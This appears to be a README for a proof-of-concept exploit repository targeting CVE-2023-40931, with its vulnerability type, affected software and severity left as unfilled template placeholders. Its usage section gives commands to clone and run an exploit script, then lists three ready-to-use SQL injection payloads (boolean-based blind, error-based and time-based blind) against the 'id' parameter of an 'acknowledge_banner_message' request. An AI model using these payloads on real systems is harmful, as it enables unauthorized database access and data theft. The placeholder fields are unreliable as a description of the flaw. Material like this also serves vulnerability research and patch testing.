## Details 📋

- **CVE ID**: CVE-2023-40931
- **Vulnerability Type**: [Type of vulnerability, e.g., Remote Code Execution, Privilege Escalation]
- **Affected Software**: [Name and version of affected software]
- **Severity**: [Severity level, e.g., Critical, High] 🚩

For more information, refer to the official CVE entry: [CVE-2023-40931](https://vulners.com/cve/CVE-2023-40931). 🔗

## Usage 🚀

1. Clone the repository:
    ```bash
    git clone https://github.com/yourusername/CVE-2023-40931-POC.git
    cd CVE-2023-40931-POC
    python3 exploit.py
    ```

    POST parameter 'id' is vulnerable. The following payloads successfully exploited the vulnerability:

    - **Boolean-based blind**: This payload leverages a conditional statement to determine the truth value of a query, allowing data extraction through boolean logic.
        - Payload: `action=acknowledge_banner_message&id=(SELECT (CASE WHEN (2064=2064) THEN 3 ELSE (SELECT 4367 UNION SELECT 3803) END))`

    - **Error-based**: This payload exploits database error messages to extract information by triggering specific errors.
        - Payload: `action=acknowledge_banner_message&id=3 OR (SELECT 9867 FROM(SELECT COUNT(*),CONCAT(0x71787a7671,(SELECT (ELT(9867=9867,1))),0x716a786271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)`

    - **Time-based blind**: This payload uses time delays to infer information by observing the response time of the server.
        - Payload: `action=acknowledge_banner_message&id=3 AND (SELECT 9475 FROM (SELECT(SLEEP(5)))Robc)`

    These payloads demonstrate the vulnerability's susceptibility to SQL injection attacks. Proceed with caution and ensure proper authorization before testing. 🔒
